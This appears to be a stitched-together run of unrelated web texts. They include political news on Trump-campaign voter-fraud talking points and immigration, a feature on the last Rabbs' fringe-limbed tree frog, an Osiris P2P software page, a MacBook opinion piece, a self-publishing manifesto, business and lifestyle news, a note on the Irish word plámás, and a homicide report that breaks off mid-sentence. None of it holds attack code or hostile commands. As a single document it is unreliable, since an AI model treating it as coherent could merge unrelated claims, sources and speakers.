from Ginny:  part of approaching people respectfully is making yourself the vulnerable one. I highly advocate beginning a sexual advance with, “I’m very attracted to you,” rather than putting the other person on the spot by asking if they’re interested. Stating your own attraction puts yourself in the vulnerable position, and doesn’t instantly demand something of the other person.  Good advice! I heartily agree.  _________________________  *this is a non-exhaustive list. There are probably a lot more reasons why such behavior is rude and/or unacceptable.  Advertisements
-Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE's campaign is encouraging its Republican Party surrogates to double down on the narrative that the presidential election is likely to be stolen by voter fraud.  While Trump now says he will accept “a clear election result,” his campaign is urging allies who defend Trump on television to sow doubts about vote counting in swing states.  ADVERTISEMENT  In campaign talking points sent out Wednesday and obtained by The Hill, the Trump team told Republican surrogates to cite examples of voter fraud in North Carolina, Colorado, Pennsylvania and Virginia.  Under a headline 'Must make points on rigged system,' the Trump campaign encourages surrogates to say, “We have also seen very significant recent voting irregularities across the country from Pennsylvania to Colorado and an increase in unlawful voting by illegal immigrants.”  Another Trump talking point reads: “Non-citizen votes may have been responsible for Barack Obama Barack Hussein ObamaWith low birth rate, America needs future migrants 4 ways Hillary looms over the 2020 race Obama goes viral after sporting black bomber jacket with '44' on sleeve at basketball game MORE’s narrow margin of victory in North Carolina in 2008.”  And another states: “CBS Denver affiliate found dead Coloradans were still voting. A dead World War II veteran voted in a 2006 primary election, and a woman who died in 2009 cast ballots in 2010, 2011, 2012 and 2013. Dead people were registered to vote in Virginia.”  The Trump campaign is also encouraging surrogates to invoke the threat of undocumented immigrants manipulating election results.  “More than 14 percent of non-citizens surveyed in 2008 and 2010,” one bullet point states, “said they were registered to vote.”  Multiple studies have found that cases of voter fraud are rare and unlikely to cause significant problems in national elections.  Several Republican lawmakers criticized Trump’s answer during the final debate Wednesday, when he told moderator Chris Wallace that he’d keep Americans in “suspense” about whether he’d accept the result on Election Day.  Trump has since clarified that he wants to reserve the right to contest close results; but he continues to sow broader mistrust among his supporters about the election process.  When pressed, several of Trump’s top allies, including his campaign manager, Kellyanne Conway, and vice presidential nominee Mike Pence Michael (Mike) Richard PencePence meeting with Senate GOP ahead of vote to block emergency declaration 'And the award for best political commentary by an Oscar nominee goes to...' UN nuclear watchdog: Iran maintains compliance with 2015 pact MORE, declined to endorse the theory that the election is likely to be stolen by fraud at the ballot box.  They’ve tried to shift the conversation to one exclusively concerning the “rigged” media. And, indeed, Trump’s campaign talking points also include the accusation that the “liberal media and the Clinton campaign have coordinated their personal attacks on Mr. Trump in order to rig the election on behalf of Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE.”  A Republican source who received the Trump talking points was “puzzled” by the campaign’s decision to double down on the idea of rigged elections  “It’s unprecedented,” the source said. “Usually at this time of the year, we talk about getting our vote[ers] out and volunteers and getting lead on the target, not trying to convince people that this thing’s fixed.”  Asked about the talking points, Trump spokesman Jason Miller told The Hill: “These talking points articulate our position perfectly.  “Mr. Trump is committed to breaking up the rigged system in Washington and ensuring that the people — this grassroots movement fueling Mr. Trump's campaign — have a voice in how we govern going forward.”
-Every morning when Mark Mandica opens the door, he feels a pit in his stomach. He knows that today could be the day that he discovers the last Rabbs' Fringe-limbed tree frog has passed away. When that day comes, his species will be extinct forever - another in a long and growing list of animals that are disappearing at an alarming rate. He will close his eyes, and his kind will vanish from the face of the Earth forever. Many of these species will disappear without even a mention from the media.  "It's kind of nerve-racking taking care of him, knowing he's the last one of his kind," says Mark, the Amphibian Conservation Coordinator at the Atlanta Botanical Garden. He admits he was not much of a conservationist when he first became fascinated with amphibians. "I was more interested studying how fast their tongues move to catch prey, not much to do with conservation. Since then it has become harder and harder to find frogs and amphibians and so now I feel obligated to help conserve these amazing and vital creatures. It's sort of an 'all hands on deck' situation."  It was Mark's young son Anthony who nick-named the frog "Toughie." When asked why he picked that name, six-year-old Anthony exclaims, "Because he's the only one that made it!"  Toughie is originally from the lush rainforests of Panama, where he used to spread his large webbed hands and could glide for up to 30 feet from his home in the forest canopy above. Toughie must have felt like he was flying. But Toughie's gliding days are long gone. He will spend his last days here, in this unassuming grey shipping container called the FrogPOD, set in the back southwest corner of the Atlanta Botanical Garden. He is far from his home, and he is utterly and completely alone in this world.  The shipping container is bio-secure, protecting eleven rare species of frogs saved from Panama on the same rescue mission in which Toughie was collected. All the species are critically endangered, but none more than Toughie. After changing our shoes to slippers kept in the lab so as not to introduce any dangerous bacteria or fungus, we enter the FrogPOD. It is warm and humid, consistently kept at a temperature near 70 degrees Fahrenheit. I make a beeline straight to Toughie's small home.  As I look at this frog resting in his log, I try to imagine Toughie gliding through the air, high above the floor of the rainforest, steering his way down with outstretched arms like Superman. Now, he sits in this log perhaps wondering where his forest went, where his family is. I wonder if he can even remember. It's been almost ten years since he saw his real home.  In the wild, Toughie would have raised his own young - the males are the stay-at-home parents for these frogs - but being a father in the rainforest canopies of Panama was not in the cards for Toughie. The fate of his species was written when the last female in captivity passed away in 2009.  Toughie now sits silent in his log; he stopped calling shortly after being taken into captivity. He had already been silent for years before Mark first began caring for him in 2009. The call of the Rabbs' Fringe-limbed tree frog was lost forever when Toughie silenced his voice. Their call was never recorded, and the only people who ever heard it cannot describe or imitate it. The last time one was heard in the wild was 2007. It was a male whose calls were heard, but he was never seen. He may have been calling for a female that was never to come.  Most of Toughie's relatives were wiped out by a fungus in Panama in 2005. Researchers went in to rescue as many of the rare frogs as they could and collected a handful of adults and a handful of tadpoles. The rest have all died of natural causes, and the tadpoles never fully developed in the lab. Toughie is the only survivor. He must be the loneliest frog on Earth.  I wonder if people know that to see this small, brown frog is like seeing a unicorn - would they flock to see him? or would they react with indifference? Unlike the elephants, the polar bears, the dolphins, the whales, the tigers - there is nothing majestic about Toughie. He is just a small, brownish frog with hands that look like Gollum's. Appropriate, because he too is precious.  Toughie is now at least ten years old, quite old for a frog. His status used to be recorded three times a day, but his caretakers felt it was too intrusive for the old frog, so now they record it once per day. An old frog needs his rest. He is weighed once per week by a vet to be sure his health is steady. Mark knows the day he dreads is marching closer. There is nothing he can do to stop it. No breeding program or campaign can save this little guy or his species. It's too late for Toughie. But it's not too late for others like him.  Last week I was part of a team of activists from the Oceanic Preservation Society who lit up the United Nations in New York City to raise awareness for endangered species. It was a project we did for an upcoming documentary film called Racing Extinction, about the sixth mass extinction. There have been five major mass extinctions previously on our planet. This is the sixth, and it is called "The Anthropocene," which translates to "The Age of Man."  As images of incredible animals from the smallest bioluminescent phytoplankton to the grandest of large cats gazed hauntingly from the side of the 500-ft building, Jane Goodall's voice echoed onto the street and crowd below. "In 200 years, people will look back on this particular period and say to themselves, 'How did those people at that time just allow all these amazing creatures to vanish?'"  One of the images we projected onto the United Nations was an image of Toughie. National Geographic photographer and author Joel Sartore, who photographs endangered animals for his project Photo Ark, was there to witness it. He got misty-eyed seeing his images thirty stories high projected in front of the crowd at the United Nations.  "Seeing my photos up on the side of the UN building was overwhelming. For many of the species shown that night, being in the Photo Ark is the only chance they have to be seen and heard before they go extinct," said Joel, "With half the world's species at risk of extinction by the turn of the century, the Ark has the potential to be so much more than just a roster of what we squandered." He hopes that the public will be drawn in, learn, and be moved to save endangered species while there's still time - and not just the high-profile ones. "After all, when we save other creatures, we're actually saving ourselves. It's really how we treat the least among us that will determine our own fate as well," he added.  While majestic creatures draw more attention than this small brown frog, Toughie's story is one that is being repeated across this globe thousands of times over. Scientists estimate we are currently losing approximately 30,000 species per year. They are disappearing faster than we can record that they are here. This story is not just to shine a light on our loss of Toughie and his species, but to shine a light on the thousands of species blinking out every year without us even acknowledging their loss.  After over 300 million years on this planet - amphibians arrived before the dinosaurs - we are losing them at an alarming rate. Nearly forty percent of all amphibians are imperiled or already extinct in the wild.  "What is frightening is that we are losing them in pristine habitat, not just urban areas," said Mark. "We need to pay attention to what these amphibians are trying to tell us. I think they are telling us something bad is happening in our environment. We need to listen - if not for their sake, for ours."  It's time for us to go. I say goodbye to Toughie, quietly wishing him frog dreams that bring back his distant memories of gliding over the rainforest canopy - the tiny brown Superman sans cape. We change our shoes and leave the FrogPOD. Mark closes the door behind him. He has made it through one more day, and the Rabbs' Fringe-limbed tree frog is not extinct - not today.  The small, brown gliding frog will have peace and quiet for the remainder of his days in this shipping container. Mark will care for him until the last day when quietly, without any media hype, another species will silently disappear from our planet. His loss will go unnoticed by most, but not by Mark Mandica.
-https://www.siteground.com/go/blackfriday-cybermonday-2018  Home  Download  Forum  Wiki  IRC Chat  Isis  Language selection  EnglishItaliano  Main Menu  Home  What is Osiris  Citations  Download  Our sponsors / Donation  Contact us  Isis  Translations  Statistics  Help  Need support  Faqs  Documentation  Forum  Wiki  IRC Chat  How to contribute  Development  Changelogs  Roadmap  Guide  Who's Online  Softpedia  Home  serverless - anarchist - anonymous - unbreakable  "L'anarchia è una forma di società dove tendenzialmente si annullerebbe qualsiasi forma di autorità imposta; gli anarchici credono nella capacità naturale dell'uomo di autoregolarsi in società. L'esistenza di regole e convenzioni sociali nell'anarchia non è esclusa a priori a patto che le regole e le convenzioni vengano liberamente determinate e accettate dalla comunità interessata e non rappresentino un'imposizione derivante dal maggiore potere di alcuni rispetto agli altri."  Osiris is an engine that makes possible to build anarchic forums and portals where members directly choose rules and conventions by themselves.  Osiris portals are serverless, so they spread through the P2P network members. This allows the portals to be independent of central servers, free and indestructibles since they are supported by every portal member.  Moreover, all the sent contents are anonymous, enabling a strong privacy protection and ensuring that no one can overwhelm this experiment of free thought and knowledge distribution.  Osiris can also build monarchic portals for a traditional moderation.  Free Download  screenshots - documentation - forums  Osiris will become an open-source project  We announce that Osiris will become an open-source project, released under GPL.  Sources are not available yet, because we need to check them for understanding if a fork can be used to attack the system.  We are planning to release sources in few months.  We hope that this choice may help to raise the interest about our project, because we have many incompleted works without collaborators.  We are here in our forum for questions, also about technical details.  Osiris 0.13  The Osiris Team is happy to announce a new version of Osiris.  Osiris 0.13 gives many new improvements over every features: features, security, speed, stability.  Osiris is a freeware software made to build completely shared portals through p2p ( serverless ).  The software doesn't need any other pre-installed component to work, and it is distributed as installable software or portable, it's useful for external hardware.  You can download Osiris from the download-page  To register to a portal it's needed only to click on invite-link, or copy and paste the link into the browser. It's available a dedicated forum to spread invite links, here you will find and publish link to portals made by the community.  To surf portals where you have been registered, by running Osiris, click on the right arrow-button: you will see the main page showing all your subscriptions.  To made new portals is available a Video Tutorial that shows how to made a new one, manage contempt and publish it on the dedicated forum.  We kindly ask to report any problems on the official forum.  A special thanks is given ( as usual smile.gif ) to all the support team for the contribution to the release of this version, thanks!  Click here for the forum discussion  Osiris 0.12  The Osiris Team is happy to announce a new version of Osiris.  Osiris 0.12 gives many new improvements over every features: security, speed, stability and moreover this is the first Osiris version that introduce a native support of GNU/Linux.  Osiris is a freeware software made to build completely shared portals through p2p ( serverless ) and the new version 0.12 add the gateway Isis feature that gives the read-only access, to all content available on the Osiris p2p network with just a common web browser.  The software doesn't need any other pre-installed component to work, and it is distributed as installable software or portable, it's useful for external hardware.  You can download Osiris from the download-page ( eDonkey & Torrent links available )  To register to a portal it's needed only to click on invite-link, or copy and paste the link into the browser. It's available a dedicated forum to spread invite links, here you will find and publish link to portals made by the community.  To surf portals where you have been registered, by running Osiris, click on the right arrow-button: you will see the main page showing all your subscriptions.  To made new portals is available a Video Tutorial that shows how to made a new one, manage contempt and publish it on the dedicated forum.  We kindly ask to report any problems on the official forum.  A special thanks is given ( as usual smile.gif ) to all the support team for the contribution to the release of this version, thanks!  Click here for the forum discussion  Rilascio versione preliminare ai beta-testers della 0.12  E' stata rilasciata la versione 0.12 ai nostri beta-testers interni. Sia la versione Windows, che la versione nativa per Linux. Verrà rilasciata al pubblico quando sarà stabile.  Tools per le traduzioni  E' disponibile uno strumento online per aiutarci a tradurre i software Osiris / Isis / Anubis. Maggiori informazioni qui.  More...  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-The Upside Of Slower  The insanity of the new MacBook making you angry  M.G. Siegler Blocked Unblock Follow Following Mar 12, 2015  Two steps forward, one step back. In the history of Apple product iteration, we see this time and time again. The iMac gets insanely thin, but no optical drive. The iPad 3 gets a retina display, but is slightly heavier. The iPhone 6 gets extremely thin and maintains a great camera, but the bulge. Etc.  The latest such trade-off was unveiled this week. The new MacBook is almost impossibly thin, but it only has one port, an older front-facing camera, and a slower processor. And so on. In quite a few peoples’ minds it seems to be one step forward and two steps back.  Which is insane.  This is the price of progress, people. Would I like a MacBook that is as thin as possible and weighs two pounds but is as powerful as a MacBook Pro? Of course. And we’ll get that in a few years. But it takes time. So we can either wait, or accept certain trade-offs now. Sadly, you still cannot have your cake and eat it too.  The good news is that you don’t have to buy the new MacBook now if you don’t want to. Apple is not only still selling their MacBook Airs and Pros, but they upgraded them as well with some newer, faster internals. They’re even available now (versus a few weeks for the new MacBook); have at it!  Me? I’ll be getting the new MacBook. Performance specs aside, it seems like the exact laptop I’ve been waiting for. Do I care about the one port? Not really. I mean, it’s always nice to have more, of course, but I’ll gladly make that trade for a machine this small and light.  Do I care that the Intel Core M chip is likely to be slower than the Intel i5/i7 chips in my two-year old MacBook? Maybe a little, but not really. The vast majority of what I do on my machine is through a web browser. I can’t recall the last time I used a machine that wasn’t powerful enough to handle everything on the web (*insert Adobe Flash joke here*), but it was definitely more than two years ago. I’m sure I’ll be fine with this new machine.  And I’m sure 99% of the rest of the public will be as well. Graphic designers? Maybe opt for the MacBook Pro. Video editors? Maybe get the Mac Pro. But you and they already know that. Still, we’re outraged for some reason. How dare there be a trade-off!  What’s funny is that I’m wondering if there won’t be an actual upside to this trade-off beyond the usual iterative path to progress. By introducing a machine with Intel’s slower Core M chipset, might Apple also be moving us closer to a world where their own mobile chipset, the A(X) line, can step in?  We’re clearly not there yet, or you have to believe Apple would have done it. But you’d be crazy to think Apple hasn’t been experimenting with running OS X on their own chips. Remember, years before Apple made the jump from PowerPC to Intel chips, they had OS X working on those chips. Undoubtedly, the same is true here.  I’m no chip expert, but it sure feels like Apple is improving the A(X) chips faster than Intel is improving their own processors. Plus, the reliance on Intel is one of the few major dependencies Apple has left. When they can move everything fully in-house, we may see performance improve on the laptop end even faster.  And a further convergence of MacBook and iPad. Of OS X and iOS.  Unfortunately, for now, the trade off is a bit of speed, fewer ports, and a weaker camera. I’ll shed some tears for those of you up in arms about such things while staring into my glorious 12-inch retina display.  Like this guy:
-I am a self-publisher and this is my manifesto.  If you’re a reader, a simple lover of books, someone with no aspirations of ever writing or publishing, then there is a very good chance you’re unaware of the culture war that has been going on within the world of publishing for what feels like forever. The war is between the large publishing houses, primarily found in New York, and self-publishers (or independent publishers). For almost as long as the publishing industry has been a relevant cog in the entertainment machine, publishing houses have served the purpose of finding, publishing and, essentially delivering to the literary world the best authors they could find. But they didn’t do this alone. Literary agents—who not only represent authors, but also serve as gatekeepers for the large publishing houses—helped them.  Most any writer who has ever aspired to get published has learned the hard way that finding a literary agent to represent you is harder than actually getting your manuscript accepted for publication by a large publishing house. And this is not by accident. As gatekeepers, the literary agents weed out the “bad” talent and wrangle in the “good” talent, making it easier for the large publishing houses to pick which handful of writers they’ll be publishing during any given year.  Of course, getting a literary agent is no guarantee of getting published. They still have to try and sell your manuscript to a publishing house. There are plenty of authors who have secured literary agents, only to find out that the agent couldn’t sell their books. But if you are one of those rare authors who have cleared all the hurdles and have had your book published by a large publishing house, one of the first things you will learn is that you’re going to be on your own when it comes to promoting and marketing the book. Publishing houses have limited budgets for marketing their authors and first-time authors aren’t likely to get much support. Ironically, if your book doesn’t sell, then the publisher will be less likely to buy your next book.  So, if you’re that first first-time author, you’re going to have to do some significant legwork—from creating a presence on the Internet to setting up readings and book signings—which is fine, especially if you’re serious about your writing and want to make a career of it. And while you’re putting in this work, it might occur to you that since you’re doing all the legwork yourself, what’s to stop you from publishing yourself. Up to now, the main thing stopping you was the stigma of self-publishing.  By having agents, editors and publishers making it so hard to break into the publishing world, it creates the perception that only the very best authors get their work published. This perception has put a stigma on self-publishers, a stigma akin to taking your cousin to the prom. The impression is if you weren’t good enough to get published through a traditional publisher then you must not be a very good writer. And the publishing houses have benefited from this, because it means they haven’t had to compete with self-publishers.  In the last couple of years, the publishing industry has been struggling. Truth be told, it’s always been tough to make money selling books when you consider Americans in general aren’t all that keen on reading. But in the face of a struggling economy, the publishing industry has been hurting more than usual. In their desperation to sell books (which, mind you, is a totally reasonable desperation) the major publishers have invested more and more money into selling personalities, rather than authors. This means when you walk into a bookstore, you’re more likely to see a book “written” by a reality TV star or a trendy politician. Even actors and recording artists are publishing novels. All of this is fine, except that, if you’re a major publishing house, you now have little-to-no money left to invest in first-time authors. Not to mention the fact that they’re a risky investment, unlike a celebrity who has name recognition and a built-in fan base.  This all makes sense from a business standpoint, but what if you’re a writer who has dedicated years and years of your life to learning and honing your craft? Are you supposed to just accept that some contemporary pop star and their ghostwriter have a book published and you don’t? You can keep knocking on the door of the literary agents and the big publishing houses (heck, you can even try the small publishing houses), but they can’t afford to take a chance on you. The best option for you then is self-publishing. Except, there is that stigma about self-publishers that still hasn’t quite gone away.  Only now there is progress being made in eradicating the stigma. A big part of the stigma being eliminated is technology. Now, more than ever, it is easier for an author to publish their work without having to go through a large publishing house. Especially with the growing market of e-books, self-published authors are seeing their books being sold side-by-side with traditionally published books. And if you’re a reader, chances are you’re not making any great distinctions between self-published books and traditionally published books; you’re just happy to find a book that entertained you while you were tanning by the pool or waiting for your doctor’s appointment.  So if the readers aren’t holding onto this stigma, then where exactly is it coming from? Unfortunately, the answer is it’s coming from the writers themselves. But it’s not their fault. If you’re a writer who has been working at getting published for at least the last ten years or so (and for most writers, it’s much longer than that), then you’ve more than likely bought into the stigma. You’re a writer who, despite all the hard work you’ve put into your writing, feels like your work can only be validated by going through the traditional system of acquiring a literary agent and selling your book to a major publisher.  You would just as soon let your brilliant work go unread on your hard drive (or your freezer, depending on how long you’ve been writing) before you self-published. You’ve dreamed of signing books in Barnes & Noble and doing readings at universities, giving interviews on morning talk shows and whisking around the country on national book tours. The stigma tells you that self-published authors don’t get to do these things. And, for the most part, it’s true. But neither do most traditionally published authors either.  More and more quality authors are figuring this out and the world of independent publishing is benefiting from it. Just because the large New York publishing houses are publishing fewer and fewer quality authors doesn’t mean there are no quality authors out there. In fact, it’s quite the opposite. And just because these authors aren’t being published doesn’t mean they simply go away. Many of them are discovering that self-publication is a viable optional. The more quality writers who enter into the world of self-publishing, the more credible it becomes.  Even J.K Rowling, author of the Harry Potter dynasty, has turned to self-publishing. Now why would she do that? There is not a publisher anywhere in the world who wouldn’t kill to have Rowling on their roster of authors. And that’s exactly the point. From a business standpoint, Rowling stands to earn more money by self-publishing, rather than sharing her literary fortune with a traditional publisher. Business-wise, this is true even for the relatively unknown self-publisher.  Whatever advance you get from a traditional publisher, in all likelihood, is going to be the same amount of money you stand to earn on your own if you have a quality book and are willing to work hard to find and connect with readers, which is to say all the things you’d be doing anyway if you take your writing seriously.  So if you’re a writer out there who is tired of being rejected, don’t fret. Just publish your work yourself.  If you’re a large publishing house doing business as usual, good luck to you. You’re a business and you’re simply trying to stay viable. I can appreciate that.  And if you are a writer or a publisher or anybody who is still holding onto or perpetuating the stigma of self-publishing, let it go. Release it from your grip and accept the dawning of a new era, a better one even.  I am a publisher and this is my manifesto.
-Stimulate Constructive Political Debate “My side is right!” “ Their side is wrong!” “They lied!” “Blah! Blah! Blah!” This is no way to run a country. More nuance is in order. The Enhanced-Precision Political Quiz makes it clear that there is a wide range of possible options for every issue. And the Nolan Chart on which it is based makes it clear that there are at least two ranges of possible opinion overall. At least two. Though the Nolan Chart is a huge improvement over the limited Left-Right spectrum, it is still a projection of a wider space of options. The Quiz herein samples that wider space with creative possibilities outside the usual debates, ranging from more universal military service without a draft to unconditional government money as a replacement for most welfare programs. The result screens reveal yet more possibilities ranging from easy ways to stop global warming to voting systems which allow us to consider more options at the polling place. This site now exists not to push any particular party or ideology, but to stimulate creative political thought. If you are an educator teaching social studies, history or political science, have your students take the test and prepare for lively discussion afterwards. Likewise, if you are on a forum and want to uplift your discussions out of parroting the usual talking points, use this quiz as a poll. Finally, if you know of a political party, organization, or think tank which deserves mention in some of the result screens, contact me.
-Conservative leaders are saying President-elect Donald Trump will be held to his campaign promises about immigration policy, according to The Hill.  "This was, along with trade, the issue that allowed Donald Trump to mow down 16 other viable and talented and capable contenders in the primary process," Dan Stein, president of the Federation for American Immigration Reform, told The Hill.  "Nobody can bring out, in rally after rally, Americans who lost loved ones because these immigration laws were not enforced … or Americans who lost jobs because of unfair labor displacement," and not follow through on his promises, he added.  According to The Hill, organizations like FAIR, NumbersUSA and the Center for Immigration Studies, are calling on Trump to reject Rep. Michael McCaul as a candidate for Homeland Security secretary because they believe he would be too close to the Republican establishment to go along with their ideas for immigration reform.  Stein and Mark Krikorian, executive director of the CIS, say McCaul has supported "weak" immigration proposals.  Krikorian said those who support immigrants, the "anti-borders activists," have grown stronger under President Barack Obama's administration and the Homeland Security chief must push back.  "There are going to be human chains around (Immigrations and Customs Enforcement) offices. It's going to be that kind of violent opposition. And I hope whoever is DHS secretary won't go wobbly," he said.  McCaul, a Texas Republican, is close with House Speaker Paul Ryan, The Hill notes, and one source close to Sen. Jeff Sessions, Trump's attorney general nominee said, "You could choose an establishment person for any position but that one."  Trump supporters believe Ryan, Vice President-elect Mike Pence and Republican National Committee Chairman Reince Priebus, who are seen as allies politically, could exert too much influence over Trump on immigration issues.  McCaul's spokeswoman Lizzie Litzow told The Hill he "stands staunchly against any form of amnesty" and he also wants to cut off funding to sanctuary cities.  Trump's allies want Kansas Secretary of State Kris Kobach to lead Homeland Security because of his hard-line stance on immigration. Supporters say Kobach would work to limit legal as well as illegal immigration.  Some churches across the U.S. said they would, if necessary, become sanctuaries for illegal immigrants, according to The Daily Beast.  California lawmakers are looking ahead to Trump's potential deportation plans, introducing measures to protect undocumented immigrants, Fortune reported.
-(Reuters) - The state of California sued Morgan Stanley on Friday, accusing the bank of hiding the risks of complex mortgage debt and other securities it sold, causing big losses for the state’s public pension funds, CalPERS and CalSTRS.  The corporate logo of financial firm Morgan Stanley is pictured on the company's world headquarters in the Manhattan borough of New York City, January 20, 2015. REUTERS/Mike Segar  Kamala Harris, the state attorney general, said Morgan Stanley concealed or downplayed the risks of toxic residential mortgage-backed securities and “structured investment vehicles” it marketed from 2004 to 2007, sometimes encouraging credit rating agencies to award unjustifiably high ratings.  She said the bank’s conduct reflected “a culture of greed and deception” that fueled the 2008 financial crisis and caused the California Public Employees’ Retirement System and California State Teachers Retirement System to lose hundreds of millions of dollars.  California accused Morgan Stanley of violating the state’s False Claims Act and various state securities laws. It seeks a variety of damages plus civil fines. The lawsuit was filed in the state superior court in San Francisco.  Morgan Stanley said it believes the lawsuit has no merit.  “The securities at issue were marketed and sold to sophisticated institutional investors and their performance has been consistent with the sector as a whole,” it said. “It is also worth noting that the alleged victim in this case elected not to pursue its own lawsuit against the firm.”  CalPERS had previously recovered hundreds of millions of dollars in settlements with agencies such as McGraw Hill Financial Inc’s Standard & Poor’s and Moody’s Corp’s Moody’s Investors Service over alleged inflated ratings.  Among the securities over which CalPERS sued was Cheyne, a structured investment vehicle that failed in 2007.  A large portion of Friday’s lawsuit challenges Morgan Stanley’s conduct in marketing the Cheyne SIV.  Shares of Morgan Stanley closed up 52 cents at $25.53 in Friday trading on the New York Stock Exchange.  The case is California v. Morgan Stanley et al, Superior Court of California, San Francisco County, No. CGC16-551238.
-ANAHEIM – Karley Sweer wanted only one thing for her birthday: a “Frozen” makeover. At half past 10 on Monday, the 8-year-old from Litchfield, Ariz., got her wish when her hair was styled and sprinkled with glitter, her lips dabbed with gloss and her nails painted pale blue, all inspired by the characters of the animated blockbuster.  It was opening day for Anna & Elsa’s Boutique at Downtown Disney, the only store/salon in the world devoted to all things “Frozen.” The boutique offers beauty services including $35 packages that can turn girls into Elsa and Anna lookalikes, plus official costumes, clothes and accessories. Disney officials want to gauge consumer response before considering opening similar stores elsewhere, according to Michelle Harker, manager for merchandise marketing at Disneyland Resort.  All things “Frozen” appear to still be hot, if the line of about 50 people waiting outside the store on any given hour was an indication. “Frozen” has turned into an international juggernaut, with about 2.6 million kids planning to dress as characters from the movie for Halloween, according to a National Retail Federation survey released last week.  Kaycee Knapic, 5, of Gilbert, Ariz., was ready with her Elsa costume. After her hair was braided, tiara in place, she told her mom, “I want the Elsa power in my hands.” That’s something Disney doesn’t offer. Yet.  Contact the writer: lliddane@ocregister.com
-‘Don’t mind his plámásing.’  I heard someone say this on the Promenade in Salthill recently. It means: ‘Pay no attention to his flattery.’ Don’t and mind were merged, so the phrase sounded like /do:’maɪndɪz ’plɔ:mɔ:sən/.  Plámás /’plɔ:mɔ:s/ [‘plaw-mawse’] is an Irish noun and verb used in Hiberno-English; it means empty flattery, ingratiating talk, disingenuous praise. I’ve seen it anglicised as plaumause, plamause, and plawmass, or simply by dropping the accents.  It’s a word familiar to me since childhood, but I hear it only occasionally. A plámáser or plámásaí /’plɔ:mɔ:si:/ is a person engaging in plámás, while plámásach /’plɔ:mɔ:səx/ (‘flattering’) is the adjectival form. Here are some examples of its use.  Christopher Nolan, in The Banyan Tree:  now his big plámásing smile was back on  A photo caption on a travel blog:  Eoghan plamasing the local women to get a cup of butter tea…  The Laois Nationalist:  On her re election as assistant treasurer Evelyn Dunne had words of support from her chairman Dick Miller: ‘She wont go out of her way to plaumause you or endear herself to you but I guarantee you she does the work.’  The blog Hunter S. Thompson Books:  Hunter S. Thompson a friend of the Mitchell brothers drifts in and out of this story. Reading it I can imagine him bounding around with his usual bow-legged gait, doing what he did best – plamasing everyone in sight, looking like he owned the place.  A quip on the IrishDogs community forum, in response to someone looking for a lift for a dog:  yeah plamause your way in there ;-)  A comment at the Irish Left Review:  Instead of the usual plamasach self-pitying oul’ guff which passes for analysis on the Irish Left…  A comment at Indymedia Ireland:  Concealing your argument with vague allusions and references without ever clarifying your point might impress and plaumause those already on your side, but it will only alienate everybody else.  Tom Mac Intyre in The Charollais, cited in Bernard Share’s Slanguage:  ‘We are, in no sense, boasting.’ ‘Shur I know ye’re not, m’lord — I always knew ye’d go places, an’ I’m not just plawmassin’ ye now.’  The origin of plámás is unknown. One suggestion is that it’s a corrupted form of blanc-mange, but the link seems tenuous. There’s a related word plásaí /’plɔ:si:/ (plausy, plauzy, plausey, plossey), which can mean either flattery or flatterer. See the previous link for examples.  When plámás was mentioned in the London Review of Books (1999), it prompted a letter with this amusing comment:  It is a word my Irish mother often uses in a verbal mode. I’d always thought it was ‘plum-arse’, as in ‘You’d think that Tony Blair could plum-arse them all into agreement, he’s certainly got the mouth for it.’  I wonder if this line was borrowed verbatim. Plum-arse probably qualifies as an eggcorn, but it’s unlikely to gain any currency given the original term’s scarcity. Even in Ireland, plámás isn’t in common usage: an enthusiastic commenter on Boards.ie from Gorey, Co. Wexford thought plámás was a word his mother had invented.  .  (To mark long vowels in IPA, I’ve used ordinary colons instead of the standard triangular marks, because WordPress isn’t rendering the latter clearly.)  Advertisements
-By Ben Cohen  For those of you still wedded to the idea that private health insurance is the best way to get people the health care they need, please take the time to watch this fascinating interview with former head of corporate communications for CIGNA Wendell Potter (h/t Chez Pazienza).  Bill Moyers talks with Potter on the structure of the industry that puts profit over people and denies sick people crucial care. Here's an interesting exchange on why the insurance industry is so opposed to a public plan:  WENDELL POTTER: Absolutely right. It's the way the American system has evolved, the political system.  But it does offend me, that the vested special interests, who are so  profitable and so powerful, are able to influence public policy in the  way that they have, and the way that they've done over the years. And  the insurance industry has been one of the most successful, in beating  back any kinds of legislation that would hinder or affect the  profitability of the companies. BILL MOYERS: Why is public insurance, a public option, so fiercely opposed by the industry? WENDELL POTTER:  The industry doesn't want to have any competitor. In fact, over the  course of the last few years, has been shrinking the number of  competitors through a lot of acquisitions and mergers. So first of all,  they don't want any more competition period. They certainly don't want  it from a government plan that might be operating more efficiently than  they are, that they operate. The Medicare program that we have here is  a government-run program that has administrative expenses that are like  three percent or so. BILL MOYERS: Compared to the industry's-- WENDELL POTTER:  They spend about 20 cents of every premium dollar on overhead, which is  administrative expense or profit. So they don't want to compete against  a more efficient competitor.  ADVERTISEMENT Thanks for watching! Visit Website  ADVERTISEMENT Thanks for watching! Visit Website  ADVERTISEMENT Thanks for watching! Visit Website  So, the private sector is afraid of the public sector because it would be more efficient? It goes to show you how ridiculous the idea that the 'free market' works best in providing people health care. It doesn't, and the private sector knows it. That's why they're spending millions of dollars convincing everyone that it is. For more on how to help fight the corporations, go here:  Health Care For America Now
-A man has been arrested after remains — reportedly including a severed head and foot — were tentatively identified as those of a Seattle-area mother of three, authorities said late Monday.  Ingrid Lyne, 40, was last seen Friday night before going on a date to a Seattle Mariners game, Q13 Fox reported. She was reported missing the following morning after she failed to collect her three daughters from her ex-husband as scheduled.  John Robert Charlton, 37, was arrested in connection with Lyne’s disapperance and booked into King County Jail for investigation of homicide. The Seattle Times reported that Charlton has a lengthy criminal history, including convictions for misdemeanor assault in 1997 and misdemeanor battery in Idaho in 2009. Q13 Fox reported that Charlton was also arrested for felony theft in Montana in 2009. The Associated Press reported on a negligent driving arrest in Washington State in 1998 and a second-degree felony for aggravated robbery in Utah in 2006.  "We used some forensic evidence dealing with telephone calls and cell towers and the usual investigative shoe leather, utilizing those we were led to a suspect early on," said Seattle Assistant Police Chief Robert Merner.  The station, citing friends of Lyne, reported that she had met Charlton online in either February or March and the two had been dating since. It was not clear on which website the two had met.  The King County Medical Examiner's Office will make the final determination of identity. However, the Seattle Times reported that Lyne's head was among the body parts found in a recycling bin in Seattle's Central District, enabling detectives 